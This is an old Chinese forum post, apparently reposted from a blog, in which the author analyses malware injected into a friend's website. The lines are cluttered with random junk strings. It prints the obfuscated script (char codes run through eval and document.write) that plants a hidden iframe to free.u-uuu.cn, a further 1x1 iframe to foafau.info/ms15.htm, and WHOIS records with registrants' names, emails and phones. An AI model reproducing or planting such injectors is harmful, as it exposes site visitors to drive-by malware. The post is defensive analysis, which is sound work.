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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, 8Zwq:lV Q  
$|sRj!F  
http://www.areway.cn/?p=175 $ V}s3  
+tlTHK  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: %*:-4K  
          aS62S9nwX  
<script>t=’60,105,102,114,97,109,101, N}zQ)]xz+r  
32,115,114,99,61,104,116,116,112,58,47,47, <.RgMPi  
102,114,101,101,46,117,45,117,117,117,46,99, ,AACE7%l  
110,47,101,114,114,111,114,46,104,116,109, Z7OWpujCvN  
32,119,105,100,116,104,61,49,48,48,32,104, |W{z,e01x  
101,105,103,104,116,61,48,62,60,47,105,102, .Ml}cE$L  
114,97,109,101,62′; HR)joD*q;[  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> epz2d~;  
                                                                                                  { \r{$<s  
<script>t=’60,105,102,114,97,109,101,32,115, }1Q]C"hY  
114,99,61,104,116,116,112,58,47,47,102,114, fWF\ V[  
101,101,46,117,45,117,117,117,46,99,110,47, 4,T S1H  
101,114,114,111,114,46,104,116,109,32,119, D4;V8(w=#  
105,100,116,104,61,49,48,48,32,104,101,105, X[BKF8,  
103,104,116,61,48,62,60,47,105,102,114,97, m9xO& @#vx  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); Bd)Qz(>rw  
document.write(t);</script> \q%li)  
                                                                                                  %6dFACv  
<html xmlns=” /]iv9e{uh(  
http://www.w3.org/1999/xhtml =f=MtH?0y  
“> tAc[r)xFw  
<head> H4Pj 3'  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> R:Z{,R+  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> MS><7lk-  
<title>首页 - 爱生活家庭网 o= N=W  
                                                                                                                                                    vsHY;[  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 gmy_ZVU'  
转换字符串后的大概内容是(谁点击后果自付): >\3=h8zw  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… p\1[cz)B  
                                                                                                                                  fg+Q7'*Vq  
查询玉米u-uuu.cn的详细信息: h#'(UZ  
Domain Name: u-uuu.cn fMI4'.Od  
ROID: 20070901s10001s64972306-cn :!'aP\uE  
Domain Status: ok Tld %NE  
Registrant Organization: 王雷 IHMZE42  
Registrant Name: 王雷 jQC6N#L  
Administrative Email: czlovexs@126.com IWsB$T  
Sponsoring Registrar: 北京万网志成科技有限公司 &*/8Ojv)9  
Name Server:ns.yovole.com xG\&QE  
Name Server:ns1.yovole.com ??ah  
Registration Date: 2007-09-01 17:54 *5.s@L( VU  
Expiration Date: 2008-09-01 17:54 Quc9lL  
最后PING了一下地址 都没有什么…. ={YW*1Xw  
                                                                                                n3jA[p:  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. nW!rM($q  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> # ]&=]K1V  
<script language=”javascript” src=”  s>76?Q:i  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 03iO4yOu  
>  r,!7TuBl  
这个玉米应该有可能是木马作者的: j'#W)dp(  
foafau.info的详细信息: KYu3dC'/,&  
Access to INFO WHOIS information is provided to assist persons in )CYSU(YTD  
determining the contents of a domain name registration record in the 6rF[eb  
Afilias registry database. The data in this record is provided by srw5&s(3X  
Afilias Limited for informational purposes only, and Afilias does not }<9*eAn`  
guarantee its accuracy.  This service is intended only for query-based .~4%TsBaY  
access. You agree that you will use this data only for lawful purposes  9 k)?-  
and that, under no circumstances will you use this data to: (a) allow, M)!8 `]  
enable, or otherwise support the transmission by e-mail, telephone, or m .le' &  
facsimile of mass unsolicited, commercial advertising or solicitations .3 m^yo c/  
to entities other than the data recipient’s own existing customers; or YFy5>*W  
(b) enable high volume, automated, electronic processes that send ''s]6Jjw  
queries or data to the systems of Registry Operator, a Registrar, or b6'%nR*f  
Afilias except as reasonably necessary to register domain names or `7LN?- T  
modify existing registrations. All rights reserved. Afilias reserves wk<QYLEk  
the right to modify these terms at any time. By submitting this query, i$?i1z*c}  
you agree to abide by this policy. kQRNVdiz  
Domain ID:D22418703-LRMS /<\>j+SC  
Domain Name:FOAFAU.INFO 6,ylk f3  
Created On:20-Nov-2007 16:05:42 UTC s>9w+|6Ji  
Last Updated On:20-Nov-2007 16:05:44 UTC ahU\(=  
Expiration Date:20-Nov-2008 16:05:42 UTC @=E@ *@g  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) H :}|UW  
Status:CLIENT DELETE PROHIBITED ;sT7c1X^!  
Status:CLIENT RENEW PROHIBITED cP`o?:  
Status:CLIENT TRANSFER PROHIBITED DO'$J9;*  
Status:CLIENT UPDATE PROHIBITED o;7!$v>uK  
Status:TRANSFER PROHIBITED L!|c: 8  
Registrant ID:GODA-040110615 5lu620o  
Registrant Name:liu hong vClD)Ar  
Registrant Organization: CD:@OI  
Registrant Street1:beijing _8)9I?jH  
Registrant Street2: ]6v6&YV  
Registrant Street3: t \kI( G  
Registrant City:beijing (x2I*<7P  
Registrant State/Province: \(R(S!xr_  
Registrant Postal Code:100000 jFZJ #'CNS  
Registrant Country:CN %u-l6<w# R  
Registrant Phone:+86.860108888777 ?_3K]i1IS  
Registrant Phone Ext.: CL5u{i5  
Registrant FAX: ~M6Q8Y9  
Registrant FAX Ext.: we9R4 *j  
Registrant Email:bbbshiji@163.com {0WLY@7 2?  
Admin ID:GODA-240110615 a.L ?J  
Admin Name:liu hong zjs@7LN  
Admin Organization: S\ JV96  
Admin Street1:beijing J GnL[9P_  
Admin Street2: pP;GDW4  
Admin Street3: { aqce g  
Admin City:beijing N93 ZI|T  
Admin State/Province: -)(HG)3  
Admin Postal Code:100000 i|0H {q  
Admin Country:CN nqg=I  
Admin Phone:+86.860108888777 y+\nj3v6  
Admin Phone Ext.: ZMQSy7  
Admin FAX: BaIH7JLZ8  
Admin FAX Ext.: :PuJF`k  
Admin Email:bbbshiji@163.com 'Pk ( 1:  
Billing ID:GODA-340110615 /!rH DcR  
Billing Name:liu hong =ltT6of@o  
Billing Organization: a938l^@;s8  
Billing Street1:beijing b/5  
Billing Street2: Zmw'.hL  
Billing Street3: /\"=egB9  
Billing City:beijing (?Fz{  
Billing State/Province: by,"Orpwq;  
Billing Postal Code:100000 .e%PK  
Billing Country:CN Z6\OkD  
Billing Phone:+86.860108888777 Jf{6'Ub  
Billing Phone Ext.: U@ x5cw:  
Billing FAX: @ 6w\q?.s  
Billing FAX Ext.: P#-Ye<V~J(  
Billing Email:bbbshiji@163.com Ufd{.o[{-  
Tech ID:GODA-140110615 k;/U6,LQ*  
Tech Name:liu hong NitWIj[U;  
Tech Organization: IF YGl  
Tech Street1:beijing [GJ_]w^}j  
Tech Street2: 422d4Zu  
Tech Street3: A q;]al  
Tech City:beijing *oqQ=#\  
Tech State/Province: |fkz=*rn  
Tech Postal Code:100000 Z;`ts/?SY]  
Tech Country:CN m?VA 1  
Tech Phone:+86.860108888777 q'9u8b  
Tech Phone Ext.: GZ( W6 4  
Tech FAX: AAUFX/}8P  
Tech FAX Ext.: U<QO@5  
Tech Email:bbbshiji@163.com 9;KQ3.Fa}q  
Name Server:NS27.DOMAINCONTROL.COM ~fbFA?g3  
Name Server:NS28.DOMAINCONTROL.COM {Hg.ctam  
Name Server: |Y?1rLC  
Name Server: Ze_4MwC W  
Name Server: 9}LcJ  
Name Server: ".Z|zt6C  
Name Server: },zP,y:cH  
Name Server: da<B6!  
Name Server: _{0'3tI7  
Name Server: |#G.2hMFr  
Name Server: 5'>DvCp%M  
Name Server: Hz39v44  
Name Server: |Xz-rgkQ  
                                                                                                          If[4]-dq  
接着下载每个文件里面的代码: ;cKN5#7  
一步一步看.. M,nX@8 _h  
}n/6.%  
%<c2jvn+k  
*9Eep~ 6  
W !TnS/O_1  
&/o4R:i  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
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然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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